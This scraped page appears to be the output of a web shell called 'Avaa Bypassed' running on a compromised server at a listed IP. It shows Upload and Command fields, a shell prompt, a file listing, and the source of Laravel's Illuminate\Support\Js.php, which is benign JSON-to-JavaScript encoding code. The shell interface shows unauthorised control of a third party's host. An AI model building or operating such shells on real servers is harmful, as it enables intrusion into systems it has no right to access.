404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@3.23.102.76: ~ $
<?php

namespace Illuminate\Support;

use BackedEnum;
use Illuminate\Contracts\Support\Arrayable;
use Illuminate\Contracts\Support\Htmlable;
use Illuminate\Contracts\Support\Jsonable;
use JsonSerializable;

class Js implements Htmlable
{
    /**
     * The JavaScript string.
     *
     * @var string
     */
    protected $js;

    /**
     * Flags that should be used when encoding to JSON.
     *
     * @var int
     */
    protected const REQUIRED_FLAGS = JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_AMP | JSON_HEX_QUOT | JSON_THROW_ON_ERROR;

    /**
     * Create a new class instance.
     *
     * @param  mixed  $data
     * @param  int|null  $flags
     * @param  int  $depth
     * @return void
     *
     * @throws \JsonException
     */
    public function __construct($data, $flags = 0, $depth = 512)
    {
        $this->js = $this->convertDataToJavaScriptExpression($data, $flags, $depth);
    }

    /**
     * Create a new JavaScript string from the given data.
     *
     * @param  mixed  $data
     * @param  int  $flags
     * @param  int  $depth
     * @return static
     *
     * @throws \JsonException
     */
    public static function from($data, $flags = 0, $depth = 512)
    {
        return new static($data, $flags, $depth);
    }

    /**
     * Convert the given data to a JavaScript expression.
     *
     * @param  mixed  $data
     * @param  int  $flags
     * @param  int  $depth
     * @return string
     *
     * @throws \JsonException
     */
    protected function convertDataToJavaScriptExpression($data, $flags = 0, $depth = 512)
    {
        if ($data instanceof self) {
            return $data->toHtml();
        }

        if ($data instanceof BackedEnum) {
            $data = $data->value;
        }

        $json = $this->jsonEncode($data, $flags, $depth);

        if (is_string($data)) {
            return "'".substr($json, 1, -1)."'";
        }

        return $this->convertJsonToJavaScriptExpression($json, $flags);
    }

    /**
     * Encode the given data as JSON.
     *
     * @param  mixed  $data
     * @param  int  $flags
     * @param  int  $depth
     * @return string
     *
     * @throws \JsonException
     */
    protected function jsonEncode($data, $flags = 0, $depth = 512)
    {
        if ($data instanceof Jsonable) {
            return $data->toJson($flags | static::REQUIRED_FLAGS);
        }

        if ($data instanceof Arrayable && ! ($data instanceof JsonSerializable)) {
            $data = $data->toArray();
        }

        return json_encode($data, $flags | static::REQUIRED_FLAGS, $depth);
    }

    /**
     * Convert the given JSON to a JavaScript expression.
     *
     * @param  string  $json
     * @param  int  $flags
     * @return string
     *
     * @throws \JsonException
     */
    protected function convertJsonToJavaScriptExpression($json, $flags = 0)
    {
        if ($json === '[]' || $json === '{}') {
            return $json;
        }

        if (Str::startsWith($json, ['"', '{', '['])) {
            return "JSON.parse('".substr(json_encode($json, $flags | static::REQUIRED_FLAGS), 1, -1)."')";
        }

        return $json;
    }

    /**
     * Get the string representation of the data for use in HTML.
     *
     * @return string
     */
    public function toHtml()
    {
        return $this->js;
    }

    /**
     * Get the string representation of the data for use in HTML.
     *
     * @return string
     */
    public function __toString()
    {
        return $this->toHtml();
    }
}

Filemanager

Name Type Size Permission Actions
Exceptions Folder 0755
Facades Folder 0755
Testing Folder 0755
Traits Folder 0755
AggregateServiceProvider.php File 995 B 0644
Benchmark.php File 1.49 KB 0644
Carbon.php File 425 B 0644
Composer.php File 2.82 KB 0644
ConfigurationUrlParser.php File 4.25 KB 0644
DateFactory.php File 7.76 KB 0644
Env.php File 2.36 KB 0644
Fluent.php File 4.14 KB 0644
HigherOrderTapProxy.php File 665 B 0644
HtmlString.php File 1.03 KB 0644
InteractsWithTime.php File 1.55 KB 0644
Js.php File 3.44 KB 0644
LICENSE.md File 1.05 KB 0644
Lottery.php File 5.66 KB 0644
Manager.php File 4.46 KB 0644
MessageBag.php File 9.8 KB 0644
MultipleInstanceManager.php File 4.25 KB 0644
NamespacedItemResolver.php File 3.35 KB 0644
Optional.php File 2.64 KB 0644
Pluralizer.php File 2.84 KB 0644
ProcessUtils.php File 2 KB 0644
Reflector.php File 4.5 KB 0644
ServiceProvider.php File 10.76 KB 0644
Str.php File 36.84 KB 0644
Stringable.php File 29.87 KB 0644
Timebox.php File 1.62 KB 0644
ValidatedInput.php File 4.61 KB 0644
ViewErrorBag.php File 2.57 KB 0644
composer.json File 1.74 KB 0644
helpers.php File 10.08 KB 0644